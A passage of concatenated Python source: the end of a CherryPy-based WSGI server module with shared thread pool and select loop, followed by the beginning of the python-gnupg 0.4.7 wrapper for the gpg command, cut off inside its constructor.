# to see if that reduces the problem sufficiently. If it doesn't we can try
# increasing it (on my circa 2010 desktop, it takes about 1/2 second per 1024
# tries) but it would probably be better to either figure out a better
# algorithm or make it possible for code to work with inconsistent ports.
_PORT_0_RETRIES = 2048
class BindError(errors.Error):
"""The server failed to bind its address."""
_THREAD_POOL = thread_executor.ThreadExecutor()
class _SharedCherryPyThreadPool(object):
"""A mimic of wsgiserver.ThreadPool that delegates to a shared thread pool."""
def __init__(self):
self._condition = threading.Condition()
self._connections = set() # Protected by self._condition.
def stop(self, timeout=5):
timeout_time = time.time() + timeout
with self._condition:
while self._connections and time.time() < timeout_time:
self._condition.wait(timeout_time - time.time())
for connection in self._connections:
self._shutdown_connection(connection)
@staticmethod
def _shutdown_connection(connection):
if not connection.rfile.closed:
connection.socket.shutdown(socket.SHUT_RD)
def put(self, obj):
with self._condition:
self._connections.add(obj)
_THREAD_POOL.submit(self._handle, obj)
def _handle(self, obj):
try:
obj.communicate()
finally:
obj.close()
with self._condition:
self._connections.remove(obj)
self._condition.notify()
class SelectThread(object):
"""A thread that selects on sockets and calls corresponding callbacks."""
def __init__(self):
self._lock = threading.Lock()
# self._file_descriptors is a frozenset and
# self._file_descriptor_to_callback is never mutated so they can be
# snapshotted by the select thread without needing to copy.
self._file_descriptors = frozenset()
self._file_descriptor_to_callback = {}
self._select_thread = threading.Thread(target=self._loop_forever)
self._select_thread.daemon = True
def start(self):
self._select_thread.start()
def add_socket(self, s, callback):
"""Add a new socket to watch.
Args:
s: A socket to select on.
callback: A callable with no args to be called when s is ready for a read.
"""
with self._lock:
self._file_descriptors = self._file_descriptors.union([s.fileno()])
new_file_descriptor_to_callback = self._file_descriptor_to_callback.copy()
new_file_descriptor_to_callback[s.fileno()] = callback
self._file_descriptor_to_callback = new_file_descriptor_to_callback
def remove_socket(self, s):
"""Remove a watched socket."""
with self._lock:
self._file_descriptors = self._file_descriptors.difference([s.fileno()])
new_file_descriptor_to_callback = self._file_descriptor_to_callback.copy()
del new_file_descriptor_to_callback[s.fileno()]
self._file_descriptor_to_callback = new_file_descriptor_to_callback
def _loop_forever(self):
while True:
self._select()
def _select(self):
with self._lock:
fds = self._file_descriptors
fd_to_callback = self._file_descriptor_to_callback
if fds:
if _HAS_POLL:
# With 100 file descriptors, it is approximately 5x slower to
# recreate and reinitialize the Poll object on every call to _select
# rather reuse one. But the absolute cost of contruction,
# initialization and calling poll(0) is ~25us so code simplicity
# wins.
poll = select.poll()
for fd in fds:
poll.register(fd, select.POLLIN)
ready_file_descriptors = [fd for fd, _ in poll.poll(
_READINESS_TIMEOUT_SECONDS * _SECONDS_TO_MILLISECONDS)]
else:
ready_file_descriptors, _, _ = select.select(fds, [], [],
_READINESS_TIMEOUT_SECONDS)
for fd in ready_file_descriptors:
fd_to_callback[fd]()
else:
# select([], [], [], 1) is not supported on Windows.
time.sleep(_READINESS_TIMEOUT_SECONDS)
_SELECT_THREAD = SelectThread()
_SELECT_THREAD.start()
class _SingleAddressWsgiServer(wsgiserver.CherryPyWSGIServer):
"""A WSGI server that uses a shared SelectThread and thread pool."""
def __init__(self, host, app):
"""Constructs a _SingleAddressWsgiServer.
Args:
host: A (hostname, port) tuple containing the hostname and port to bind.
The port can be 0 to allow any port.
app: A WSGI app to handle requests.
"""
super(_SingleAddressWsgiServer, self).__init__(host, self)
self._lock = threading.Lock()
self._app = app # Protected by _lock.
self._error = None # Protected by _lock.
self.requests = _SharedCherryPyThreadPool()
self.software = http_runtime_constants.SERVER_SOFTWARE
# Some servers, especially the API server, may receive many simultaneous
# requests so set the listen() backlog to something high to reduce the
# likelihood of refused connections.
self.request_queue_size = 100
def start(self):
"""Starts the _SingleAddressWsgiServer.
This is a modified version of the base class implementation. Changes:
- Removed unused functionality (Unix domain socket and SSL support).
- Raises BindError instead of socket.error.
- Uses _SharedCherryPyThreadPool instead of wsgiserver.ThreadPool.
- Calls _SELECT_THREAD.add_socket instead of looping forever.
Raises:
BindError: The address could not be bound.
"""
# AF_INET or AF_INET6 socket
# Get the correct address family for our host (allows IPv6 addresses)
host, port = self.bind_addr
try:
info = socket.getaddrinfo(host, port, socket.AF_UNSPEC,
socket.SOCK_STREAM, 0, socket.AI_PASSIVE)
except socket.gaierror:
if ':' in host:
info = [(socket.AF_INET6, socket.SOCK_STREAM, 0, '',
self.bind_addr + (0, 0))]
else:
info = [(socket.AF_INET, socket.SOCK_STREAM, 0, '', self.bind_addr)]
self.socket = None
for res in info:
af, socktype, proto, _, _ = res
try:
self.bind(af, socktype, proto)
except socket.error as socket_error:
if self.socket:
self.socket.close()
self.socket = None
continue
break
if not self.socket:
raise BindError('Unable to bind %s:%s' % self.bind_addr, socket_error)
# Timeout so KeyboardInterrupt can be caught on Win32
self.socket.settimeout(1)
self.socket.listen(self.request_queue_size)
self.ready = True
self._start_time = time.time()
_SELECT_THREAD.add_socket(self.socket, self.tick)
def quit(self):
"""Quits the _SingleAddressWsgiServer."""
_SELECT_THREAD.remove_socket(self.socket)
self.requests.stop(timeout=1)
@property
def port(self):
"""Returns the port that the server is bound to."""
return self.socket.getsockname()[1]
def set_app(self, app):
"""Sets the PEP-333 app to use to serve requests."""
with self._lock:
self._app = app
def set_error(self, error):
"""Sets the HTTP status code to serve for all requests."""
with self._lock:
self._error = error
self._app = None
def __call__(self, environ, start_response):
with self._lock:
app = self._app
error = self._error
if app:
return app(environ, start_response)
else:
start_response('%d %s' % (error, six.moves.http_client.responses[error]), [])
return []
class WsgiServer(object):
def __init__(self, host, app):
"""Constructs a WsgiServer.
Args:
host: A (hostname, port) tuple containing the hostname and port to bind.
The port can be 0 to allow any port.
app: A WSGI app to handle requests.
"""
self.bind_addr = host
self._app = app
self._servers = []
def start(self):
"""Starts the WsgiServer.
This starts multiple _SingleAddressWsgiServers to bind the address in all
address families.
Raises:
BindError: The address could not be bound.
"""
host, port = self.bind_addr
try:
addrinfo = socket.getaddrinfo(host, port, socket.AF_UNSPEC,
socket.SOCK_STREAM, 0, socket.AI_PASSIVE)
sockaddrs = [addr[-1] for addr in addrinfo]
host_ports = [sockaddr[:2] for sockaddr in sockaddrs]
# Remove duplicate addresses caused by bad hosts file. Retain the
# order to minimize behavior change (and so we don't have to tweak
# unit tests to deal with different order).
host_ports = list(collections.OrderedDict.fromkeys(host_ports))
except socket.gaierror:
host_ports = [self.bind_addr]
if port != 0:
self._start_all_fixed_port(host_ports)
else:
for _ in range(_PORT_0_RETRIES):
if self._start_all_dynamic_port(host_ports):
break
else:
raise BindError('Unable to find a consistent port for %s' % host)
def _start_all_fixed_port(self, host_ports):
"""Starts a server for each specified address with a fixed port.
Does the work of actually trying to create a _SingleAddressWsgiServer for
each specified address.
Args:
host_ports: An iterable of host, port tuples.
Raises:
BindError: The address could not be bound.
"""
for host, port in host_ports:
assert port != 0
server = _SingleAddressWsgiServer((host, port), self._app)
try:
server.start()
except BindError as bind_error:
# TODO: I'm not sure about the behavior of quietly ignoring an
# EADDRINUSE as long as the bind succeeds on at least one interface. I
# think we should either:
# - Fail (just like we do now when bind fails on every interface).
# - Retry on next highest port.
logging.debug('Failed to bind "%s:%s": %s', host, port, bind_error)
continue
else:
self._servers.append(server)
if not self._servers:
raise BindError('Unable to bind %s:%s' % self.bind_addr)
def _start_all_dynamic_port(self, host_ports):
"""Starts a server for each specified address with a dynamic port.
Does the work of actually trying to create a _SingleAddressWsgiServer for
each specified address.
Args:
host_ports: An iterable of host, port tuples.
Returns:
The list of all servers (also saved as self._servers). A non empty list
indicates success while an empty list indicates failure.
"""
port = 0
for host, _ in host_ports:
server = _SingleAddressWsgiServer((host, port), self._app)
try:
server.start()
if port == 0:
port = server.port
except BindError as bind_error:
if bind_error[1][0] == errno.EADDRINUSE:
# The port picked at random for first interface was not available
# on one of the other interfaces. Forget them and try again.
for server in self._servers:
server.quit()
self._servers = []
break
else:
# Ignore the interface if we get an error other than EADDRINUSE.
logging.debug('Failed to bind "%s:%s": %s', host, port, bind_error)
continue
else:
self._servers.append(server)
return self._servers
def quit(self):
"""Quits the WsgiServer."""
for server in self._servers:
server.quit()
@property
def host(self):
"""Returns the host that the server is bound to."""
return self._servers[0].socket.getsockname()[0]
@property
def port(self):
"""Returns the port that the server is bound to."""
return self._servers[0].socket.getsockname()[1]
def set_app(self, app):
"""Sets the PEP-333 app to use to serve requests."""
self._app = app
for server in self._servers:
server.set_app(app)
def set_error(self, error):
"""Sets the HTTP status code to serve for all requests."""
self._error = error
self._app = None
for server in self._servers:
server.set_error(error)
@property
def ready(self):
return all(server.ready for server in self._servers)
|
gnupg.py
|
""" A wrapper for the 'gpg' command::
Portions of this module are derived from A.M. Kuchling's well-designed
GPG.py, using Richard Jones' updated version 1.3, which can be found
in the pycrypto CVS repository on Sourceforge:
http://pycrypto.cvs.sourceforge.net/viewvc/pycrypto/gpg/GPG.py
This module is *not* forward-compatible with amk's; some of the
old interface has changed. For instance, since I've added decrypt
functionality, I elected to initialize with a 'gnupghome' argument
instead of 'keyring', so that gpg can find both the public and secret
keyrings. I've also altered some of the returned objects in order for
the caller to not have to know as much about the internals of the
result classes.
While the rest of ISconf is released under the GPL, I am releasing
this single file under the same terms that A.M. Kuchling used for
pycrypto.
Steve Traugott, stevegt@terraluna.org
Thu Jun 23 21:27:20 PDT 2005
This version of the module has been modified from Steve Traugott's version
(see http://trac.t7a.org/isconf/browser/trunk/lib/python/isconf/GPG.py) by
Vinay Sajip to make use of the subprocess module (Steve's version uses os.fork()
and so does not work on Windows). Renamed to gnupg.py to avoid confusion with
the previous versions.
Modifications Copyright (C) 2008-2021 Vinay Sajip. All rights reserved.
A unittest harness (test_gnupg.py) has also been added.
"""
__version__ = "0.4.7"
__author__ = "Vinay Sajip"
__date__ = "$11-Mar-2021 07:01:14$"
try:
from io import StringIO
except ImportError: # pragma: no cover
from cStringIO import StringIO
import codecs
import locale
import logging
import os
import re
import socket
from subprocess import Popen
from subprocess import PIPE
import sys
import threading
STARTUPINFO = None
if os.name == 'nt': # pragma: no cover
try:
from subprocess import STARTUPINFO, STARTF_USESHOWWINDOW, SW_HIDE
except ImportError:
STARTUPINFO = None
try:
import logging.NullHandler as NullHandler
except ImportError:
class NullHandler(logging.Handler):
def handle(self, record):
pass
try:
unicode
_py3k = False
string_types = basestring
text_type = unicode
except NameError:
_py3k = True
string_types = str
text_type = str
logger = logging.getLogger(__name__)
if not logger.handlers:
logger.addHandler(NullHandler())
# We use the test below because it works for Jython as well as CPython
if os.path.__name__ == 'ntpath': # pragma: no cover
# On Windows, we don't need shell quoting, other than worrying about
# paths with spaces in them.
def shell_quote(s):
return '"%s"' % s
else:
# Section copied from sarge
# This regex determines which shell input needs quoting
# because it may be unsafe
UNSAFE = re.compile(r'[^\w%+,./:=@-]')
def shell_quote(s):
"""
Quote text so that it is safe for Posix command shells.
For example, "*.py" would be converted to "'*.py'". If the text is
considered safe it is returned unquoted.
:param s: The value to quote
:type s: str (or unicode on 2.x)
:return: A safe version of the input, from the point of view of Posix
command shells
:rtype: The passed-in type
"""
if not isinstance(s, string_types): # pragma: no cover
raise TypeError('Expected string type, got %s' % type(s))
if not s:
result = "''"
elif not UNSAFE.search(s):
result = s
else:
result = "'%s'" % s.replace("'", r"'\''")
return result
# end of sarge code
# Now that we use shell=False, we shouldn't need to quote arguments.
# Use no_quote instead of shell_quote to remind us of where quoting
# was needed. However, note that we still need, on 2.x, to encode any
# Unicode argument with the file system encoding - see Issue #41 and
# Python issue #1759845 ("subprocess.call fails with unicode strings in
# command line").
# Allows the encoding used to be overridden in special cases by setting
# this module attribute appropriately.
fsencoding = sys.getfilesystemencoding()
def no_quote(s):
if not _py3k and isinstance(s, text_type):
s = s.encode(fsencoding)
return s
def _copy_data(instream, outstream):
# Copy one stream to another
sent = 0
if hasattr(sys.stdin, 'encoding'):
enc = sys.stdin.encoding
else: # pragma: no cover
enc = 'ascii'
while True:
# See issue #39: read can fail when e.g. a text stream is provided
# for what is actually a binary file
try:
data = instream.read(1024)
except UnicodeError:
logger.warning('Exception occurred while reading', exc_info=1)
break
if not data:
break
sent += len(data)
# logger.debug("sending chunk (%d): %r", sent, data[:256])
try:
outstream.write(data)
except UnicodeError: # pragma: no cover
outstream.write(data.encode(enc))
except:
# Can sometimes get 'broken pipe' errors even when the data has all
# been sent
logger.exception('Error sending data')
break
try:
outstream.close()
except IOError: # pragma: no cover
logger.warning('Exception occurred while closing: ignored', exc_info=1)
logger.debug("closed output, %d bytes sent", sent)
def _threaded_copy_data(instream, outstream):
wr = threading.Thread(target=_copy_data, args=(instream, outstream))
wr.setDaemon(True)
logger.debug('data copier: %r, %r, %r', wr, instream, outstream)
wr.start()
return wr
def _write_passphrase(stream, passphrase, encoding):
passphrase = '%s\n' % passphrase
passphrase = passphrase.encode(encoding)
stream.write(passphrase)
logger.debug('Wrote passphrase')
def _is_sequence(instance):
return isinstance(instance, (list, tuple, set, frozenset))
def _make_memory_stream(s):
try:
from io import BytesIO
rv = BytesIO(s)
except ImportError: # pragma: no cover
rv = StringIO(s)
return rv
def _make_binary_stream(s, encoding):
if _py3k:
if isinstance(s, str):
s = s.encode(encoding)
else:
if type(s) is not str:
s = s.encode(encoding)
return _make_memory_stream(s)
class Verify(object):
"Handle status messages for --verify"
TRUST_UNDEFINED = 0
TRUST_NEVER = 1
TRUST_MARGINAL = 2
TRUST_FULLY = 3
TRUST_ULTIMATE = 4
TRUST_LEVELS = {
"TRUST_UNDEFINED" : TRUST_UNDEFINED,
"TRUST_NEVER" : TRUST_NEVER,
"TRUST_MARGINAL" : TRUST_MARGINAL,
"TRUST_FULLY" : TRUST_FULLY,
"TRUST_ULTIMATE" : TRUST_ULTIMATE,
}
# for now, just the most common error codes. This can be expanded as and
# when reports come in of other errors.
GPG_SYSTEM_ERROR_CODES = {
1: 'permission denied',
35: 'file exists',
81: 'file not found',
97: 'not a directory',
}
GPG_ERROR_CODES = {
11: 'incorrect passphrase',
}
def __init__(self, gpg):
self.gpg = gpg
self.valid = False
self.fingerprint = self.creation_date = self.timestamp = None
self.signature_id = self.key_id = None
self.username = None
self.key_id = None
self.key_status = None
self.status = None
self.pubkey_fingerprint = None
self.expire_timestamp = None
self.sig_timestamp = None
self.trust_text = None
self.trust_level = None
self.sig_info = {}
def __nonzero__(self):
return self.valid
__bool__ = __nonzero__
def handle_status(self, key, value):
def update_sig_info(**kwargs):
sig_id = self.signature_id
if sig_id:
info = self.sig_info[sig_id]
info.update(kwargs)
if key in self.TRUST_LEVELS:
self.trust_text = key
self.trust_level = self.TRUST_LEVELS[key]
update_sig_info(trust_level=self.trust_level,
trust_text=self.trust_text)
elif key in ("WARNING", "ERROR"):
logger.warning('potential problem: %s: %s', key, value)
elif key == "BADSIG": # pragma: no cover
self.valid = False
self.status = 'signature bad'
self.key_id, self.username = value.split(None, 1)
update_sig_info(keyid=self.key_id, username=self.username,
status=self.status)
elif key == "ERRSIG": # pragma: no cover
self.valid = False
parts = value.split()
(self.key_id,
algo, hash_algo,
cls,
self.timestamp) = parts[:5]
# Since GnuPG 2.2.7, a fingerprint is tacked on
if len(parts) >= 7:
self.fingerprint = parts[6]
self.status = 'signature error'
update_sig_info(keyid=self.key_id, timestamp=self.timestamp,
fingerprint=self.fingerprint, status=self.status)
elif key == "EXPSIG": # pragma: no cover
self.valid = False
self.status = 'signature expired'
self.key_id, self.username = value.split(None, 1)
update_sig_info(keyid=self.key_id, username=self.username,
status=self.status)
elif key == "GOODSIG":
self.valid = True
self.status = 'signature good'
self.key_id, self.username = value.split(None, 1)
update_sig_info(keyid=self.key_id, username=self.username,
status=self.status)
elif key == "VALIDSIG":
fingerprint, creation_date, sig_ts, expire_ts = value.split()[:4]
(self.fingerprint,
self.creation_date,
self.sig_timestamp,
self.expire_timestamp) = (fingerprint, creation_date, sig_ts,
expire_ts)
# may be different if signature is made with a subkey
self.pubkey_fingerprint = value.split()[-1]
self.status = 'signature valid'
update_sig_info(fingerprint=fingerprint, creation_date=creation_date,
timestamp=sig_ts, expiry=expire_ts,
pubkey_fingerprint=self.pubkey_fingerprint,
status=self.status)
elif key == "SIG_ID":
sig_id, creation_date, timestamp = value.split()
self.sig_info[sig_id] = {'creation_date': creation_date,
'timestamp': timestamp}
(self.signature_id,
self.creation_date, self.timestamp) = (sig_id, creation_date,
timestamp)
elif key == "DECRYPTION_FAILED": # pragma: no cover
self.valid = False
self.key_id = value
self.status = 'decryption failed'
elif key == "NO_PUBKEY": # pragma: no cover
self.valid = False
self.key_id = value
self.status = 'no public key'
elif key in ("EXPKEYSIG", "REVKEYSIG"): # pragma: no cover
# signed with expired or revoked key
self.valid = False
self.key_id = value.split()[0]
if key == "EXPKEYSIG":
self.key_status = 'signing key has expired'
else:
self.key_status = 'signing key was revoked'
self.status = self.key_status
update_sig_info(status=self.status, keyid=self.key_id)
elif key in ("UNEXPECTED", "FAILURE"): # pragma: no cover
self.valid = False
self.key_id = value
if key == "UNEXPECTED":
self.status = 'unexpected data'
else:
# N.B. there might be other reasons. For example, if an output
# file can't be created - /dev/null/foo will lead to a
# "not a directory" error, but which is not sent as a status
# message with the [GNUPG:] prefix. Similarly if you try to
# write to "/etc/foo" as a non-root user, a "permission denied"
# error will be sent as a non-status message.
message = 'error - %s' % value
operation, code = value.rsplit(' ', 1)
if code.isdigit():
code = int(code) & 0xFFFFFF # lose the error source
if self.gpg.error_map and code in self.gpg.error_map:
message = '%s: %s' % (operation, self.gpg.error_map[code])
else:
system_error = bool(code & 0x8000)
code = code & 0x7FFF
if system_error:
mapping = self.GPG_SYSTEM_ERROR_CODES
else:
mapping = self.GPG_ERROR_CODES
if code in mapping:
message = '%s: %s' % (operation, mapping[code])
if not self.status:
self.status = message
elif key in ("DECRYPTION_INFO", "PLAINTEXT", "PLAINTEXT_LENGTH",
"NO_SECKEY", "BEGIN_SIGNING"):
pass
else: # pragma: no cover
logger.debug('message ignored: %s, %s', key, value)
class ImportResult(object):
"Handle status messages for --import"
counts = '''count no_user_id imported imported_rsa unchanged
n_uids n_subk n_sigs n_revoc sec_read sec_imported
sec_dups not_imported'''.split()
def __init__(self, gpg):
self.gpg = gpg
self.results = []
self.fingerprints = []
for result in self.counts:
setattr(self, result, 0)
def __nonzero__(self):
if self.not_imported: return False
if not self.fingerprints: return False
return True
__bool__ = __nonzero__
ok_reason = {
'0': 'Not actually changed',
'1': 'Entirely new key',
'2': 'New user IDs',
'4': 'New signatures',
'8': 'New subkeys',
'16': 'Contains private key',
}
problem_reason = {
'0': 'No specific reason given',
'1': 'Invalid Certificate',
'2': 'Issuer Certificate missing',
'3': 'Certificate Chain too long',
'4': 'Error storing certificate',
}
def handle_status(self, key, value):
if key in ("WARNING", "ERROR"):
logger.warning('potential problem: %s: %s', key, value)
elif key in ("IMPORTED", "KEY_CONSIDERED"):
# this duplicates info we already see in import_ok & import_problem
pass
elif key == "NODATA": # pragma: no cover
self.results.append({'fingerprint': None,
'problem': '0', 'text': 'No valid data found'})
elif key == "IMPORT_OK":
reason, fingerprint = value.split()
reasons = []
for code, text in list(self.ok_reason.items()):
if int(reason) | int(code) == int(reason):
reasons.append(text)
reasontext = '\n'.join(reasons) + "\n"
self.results.append({'fingerprint': fingerprint,
'ok': reason, 'text': reasontext})
self.fingerprints.append(fingerprint)
elif key == "IMPORT_PROBLEM": # pragma: no cover
try:
reason, fingerprint = value.split()
except:
reason = value
fingerprint = '<unknown>'
self.results.append({'fingerprint': fingerprint,
'problem': reason, 'text': self.problem_reason[reason]})
elif key == "IMPORT_RES":
import_res = value.split()
for i, count in enumerate(self.counts):
setattr(self, count, int(import_res[i]))
elif key == "KEYEXPIRED": # pragma: no cover
self.results.append({'fingerprint': None,
'problem': '0', 'text': 'Key expired'})
elif key == "SIGEXPIRED": # pragma: no cover
self.results.append({'fingerprint': None,
'problem': '0', 'text': 'Signature expired'})
elif key == "FAILURE": # pragma: no cover
self.results.append({'fingerprint': None,
'problem': '0', 'text': 'Other failure'})
else: # pragma: no cover
logger.debug('message ignored: %s, %s', key, value)
def summary(self):
result = []
result.append('%d imported' % self.imported)
if self.not_imported: # pragma: no cover
result.append('%d not imported' % self.not_imported)
return ', '.join(result)
ESCAPE_PATTERN = re.compile(r'\\x([0-9a-f][0-9a-f])', re.I)
BASIC_ESCAPES = {
r'\n': '\n',
r'\r': '\r',
r'\f': '\f',
r'\v': '\v',
r'\b': '\b',
r'\0': '\0',
}
class SendResult(object):
def __init__(self, gpg):
self.gpg = gpg
def handle_status(self, key, value):
logger.debug('SendResult: %s: %s', key, value)
def _set_fields(target, fieldnames, args):
for i, var in enumerate(fieldnames):
if i < len(args):
target[var] = args[i]
else:
target[var] = 'unavailable'
class SearchKeys(list):
''' Handle status messages for --search-keys.
Handle pub and uid (relating the latter to the former).
Don't care about the rest
'''
UID_INDEX = 1
FIELDS = 'type keyid algo length date expires'.split()
def __init__(self, gpg):
self.gpg = gpg
self.curkey = None
self.fingerprints = []
self.uids = []
def get_fields(self, args):
result = {}
_set_fields(result, self.FIELDS, args)
result['uids'] = []
result['sigs'] = []
return result
def pub(self, args):
self.curkey = curkey = self.get_fields(args)
self.append(curkey)
def uid(self, args):
uid = args[self.UID_INDEX]
uid = ESCAPE_PATTERN.sub(lambda m: chr(int(m.group(1), 16)), uid)
for k, v in BASIC_ESCAPES.items():
uid = uid.replace(k, v)
self.curkey['uids'].append(uid)
self.uids.append(uid)
def handle_status(self, key, value): # pragma: no cover
pass
class ListKeys(SearchKeys):
''' Handle status messages for --list-keys, --list-sigs.
Handle pub and uid (relating the latter to the former).
Don't care about (info from src/DETAILS):
crt = X.509 certificate
crs = X.509 certificate and private key available
uat = user attribute (same as user id except for field 10).
sig = signature
rev = revocation signature
pkd = public key data (special field format, see below)
grp = reserved for gpgsm
rvk = revocation key
'''
UID_INDEX = 9
FIELDS = 'type trust length algo keyid date expires dummy ownertrust uid sig cap issuer flag token hash curve compliance updated origin'.split()
def __init__(self, gpg):
super(ListKeys, self).__init__(gpg)
self.in_subkey = False
self.key_map = {}
def key(self, args):
self.curkey = curkey = self.get_fields(args)
if curkey['uid']:
curkey['uids'].append(curkey['uid'])
del curkey['uid']
curkey['subkeys'] = []
self.append(curkey)
self.in_subkey = False
pub = sec = key
def fpr(self, args):
fp = args[9]
if fp in self.key_map and self.gpg.check_fingerprint_collisions: # pragma: no cover
raise ValueError('Unexpected fingerprint collision: %s' % fp)
if not self.in_subkey:
self.curkey['fingerprint'] = fp
self.fingerprints.append(fp)
self.key_map[fp] = self.curkey
else:
self.curkey['subkeys'][-1].append(fp)
self.key_map[fp] = self.curkey
def _collect_subkey_info(self, curkey, args):
info_map = curkey.setdefault('subkey_info', {})
info = {}
_set_fields(info, self.FIELDS, args)
info_map[args[4]] = info
def sub(self, args):
# See issue #81. We create a dict with more information about
# subkeys, but for backward compatibility reason, have to add it in
# as a separate entry 'subkey_info'
subkey = [args[4], args[11]] # keyid, type
self.curkey['subkeys'].append(subkey)
self._collect_subkey_info(self.curkey, args)
self.in_subkey = True
def ssb(self, args):
subkey = [args[4], None] # keyid, type
self.curkey['subkeys'].append(subkey)
self._collect_subkey_info(self.curkey, args)
self.in_subkey = True
def sig(self, args):
# keyid, uid, sigclass
self.curkey['sigs'].append((args[4], args[9], args[10]))
class ScanKeys(ListKeys):
''' Handle status messages for --with-fingerprint.'''
def sub(self, args):
# --with-fingerprint --with-colons somehow outputs fewer colons,
# use the last value args[-1] instead of args[11]
subkey = [args[4], args[-1]]
self.curkey['subkeys'].append(subkey)
self._collect_subkey_info(self.curkey, args)
self.in_subkey = True
class TextHandler(object):
def _as_text(self):
return self.data.decode(self.gpg.encoding, self.gpg.decode_errors)
if _py3k:
__str__ = _as_text
else:
__unicode__ = _as_text
def __str__(self):
return self.data
class Crypt(Verify, TextHandler):
"Handle status messages for --encrypt and --decrypt"
def __init__(self, gpg):
Verify.__init__(self, gpg)
self.data = ''
self.ok = False
self.status = ''
self.key_id = None
def __nonzero__(self):
if self.ok: return True
return False
__bool__ = __nonzero__
def handle_status(self, key, value):
if key in ("WARNING", "ERROR"):
logger.warning('potential problem: %s: %s', key, value)
elif key == "NODATA":
self.status = "no data was provided"
elif key in ("NEED_PASSPHRASE", "BAD_PASSPHRASE", "GOOD_PASSPHRASE",
"MISSING_PASSPHRASE", "DECRYPTION_FAILED",
"KEY_NOT_CREATED", "NEED_PASSPHRASE_PIN"):
self.status = key.replace("_", " ").lower()
elif key == "NEED_PASSPHRASE_SYM":
self.status = 'need symmetric passphrase'
elif key == "BEGIN_DECRYPTION":
self.status = 'decryption incomplete'
elif key == "BEGIN_ENCRYPTION":
self.status = 'encryption incomplete'
elif key == "DECRYPTION_OKAY":
self.status = 'decryption ok'
self.ok = True
elif key == "END_ENCRYPTION":
self.status = 'encryption ok'
self.ok = True
elif key == "INV_RECP": # pragma: no cover
self.status = 'invalid recipient'
elif key == "KEYEXPIRED": # pragma: no cover
self.status = 'key expired'
elif key == "SIG_CREATED": # pragma: no cover
self.status = 'sig created'
elif key == "SIGEXPIRED": # pragma: no cover
self.status = 'sig expired'
elif key == "ENC_TO": # pragma: no cover
# ENC_TO <long_keyid> <keytype> <keylength>
self.key_id = value.split(' ', 1)[0]
elif key in ("USERID_HINT", "GOODMDC",
"END_DECRYPTION", "CARDCTRL", "BADMDC",
"SC_OP_FAILURE", "SC_OP_SUCCESS",
"PINENTRY_LAUNCHED", "KEY_CONSIDERED"):
pass
else:
Verify.handle_status(self, key, value)
class GenKey(object):
"Handle status messages for --gen-key"
def __init__(self, gpg):
self.gpg = gpg
self.type = None
self.fingerprint = None
def __nonzero__(self):
if self.fingerprint: return True
return False
__bool__ = __nonzero__
def __str__(self):
return self.fingerprint or ''
def handle_status(self, key, value):
if key in ("WARNING", "ERROR"): # pragma: no cover
logger.warning('potential problem: %s: %s', key, value)
elif key == "KEY_CREATED":
(self.type,self.fingerprint) = value.split()
elif key in ("PROGRESS", "GOOD_PASSPHRASE", "KEY_NOT_CREATED"):
pass
else: # pragma: no cover
logger.debug('message ignored: %s, %s', key, value)
class ExportResult(GenKey):
"""Handle status messages for --export[-secret-key].
For now, just use an existing class to base it on - if needed, we
can override handle_status for more specific message handling.
"""
def handle_status(self, key, value):
if key in ("EXPORTED", "EXPORT_RES"):
pass
else:
super(ExportResult, self).handle_status(key, value)
class DeleteResult(object):
"Handle status messages for --delete-key and --delete-secret-key"
def __init__(self, gpg):
self.gpg = gpg
self.status = 'ok'
def __str__(self):
return self.status
problem_reason = {
'1': 'No such key',
'2': 'Must delete secret key first',
'3': 'Ambiguous specification',
}
def handle_status(self, key, value):
if key == "DELETE_PROBLEM": # pragma: no cover
self.status = self.problem_reason.get(value,
"Unknown error: %r" % value)
else: # pragma: no cover
logger.debug('message ignored: %s, %s', key, value)
def __nonzero__(self):
return self.status == 'ok'
__bool__ = __nonzero__
class TrustResult(DeleteResult):
pass
class Sign(TextHandler):
"Handle status messages for --sign"
def __init__(self, gpg):
self.gpg = gpg
self.type = None
self.hash_algo = None
self.fingerprint = None
self.status = None
self.key_id = None
self.username = None
def __nonzero__(self):
return self.fingerprint is not None
__bool__ = __nonzero__
def handle_status(self, key, value):
if key in ("WARNING", "ERROR", "FAILURE"): # pragma: no cover
logger.warning('potential problem: %s: %s', key, value)
elif key in ("KEYEXPIRED", "SIGEXPIRED"): # pragma: no cover
self.status = 'key expired'
elif key == "KEYREVOKED": # pragma: no cover
self.status = 'key revoked'
elif key == "SIG_CREATED":
(self.type,
algo, self.hash_algo, cls, self.timestamp, self.fingerprint
) = value.split()
self.status = 'signature created'
elif key == "USERID_HINT": # pragma: no cover
self.key_id, self.username = value.split(' ', 1)
elif key == "BAD_PASSPHRASE":
self.status = 'bad passphrase'
elif key in ("NEED_PASSPHRASE", "GOOD_PASSPHRASE", "BEGIN_SIGNING"):
pass
else: # pragma: no cover
logger.debug('message ignored: %s, %s', key, value)
VERSION_RE = re.compile(r'gpg \(GnuPG(?:/MacGPG2)?\) (\d+(\.\d+)*)'.encode('ascii'), re.I)
HEX_DIGITS_RE = re.compile(r'[0-9a-f]+$', re.I)
class GPG(object):
error_map = None
decode_errors = 'strict'
result_map = {
'crypt': Crypt,
'delete': DeleteResult,
'generate': GenKey,
'import': ImportResult,
'send': SendResult,
'list': ListKeys,
'scan': ScanKeys,
'search': SearchKeys,
'sign': Sign,
'trust': TrustResult,
'verify': Verify,
'export': ExportResult,
}
"Encapsulate access to the gpg executable"
def __init__(self, gpgbinary='gpg', gnupghome=None, verbose=False,
use_agent=False, keyring=None, options=None,
secret_keyring=None):
"""Initialize a GPG process wrapper. Options are:
gpgbinary -- full pathname for GPG binary.
gnupghome -- full pathname to where we can find the public and
private keyrings. Default is whatever gpg defaults to.
keyring -- name of alternative keyring file to use, or list of such
keyrings. If specified, the default keyring is not used.
options =-- a list of additional options to pass to the GPG binary.
secret_keyring -- name of alternative secret keyring file to use, or
list of such keyrings.
"""
self.gpgbinary = gpgbinary
self.gnupghome = gnupghome
# issue 112: fail if the specified value isn't a directory
if gnupghome and not os.path.isdir(gnupghome):
raise ValueError('gnupghome should be a directory (it isn\'t): %s' % gnupghome)
if keyring:
# Allow passing a string or another iterable. Make it uniformly
# a list of keyring filenames
if isinstance(keyring, string_types):
keyring = [keyring]
self.keyring = keyring
if secret_keyring:
# Allow passing a string or another iterable. Make it uniformly
# a list of keyring filenames
if isinstance(secret_keyring, string_types):
secret_keyring = [secret_keyring]
self.secret_keyring = secret_keyring
self.verbose = verbose
self.use_agent = use_agent
if isinstance(options, str): # pragma: no cover
options = [options]
self.options = options
self.on_data = None # or a callable - will be called with data chunks
# Changed in 0.3.7 to use Latin-1 encoding rather than
# locale.getpreferredencoding falling back to sys.stdin.encoding
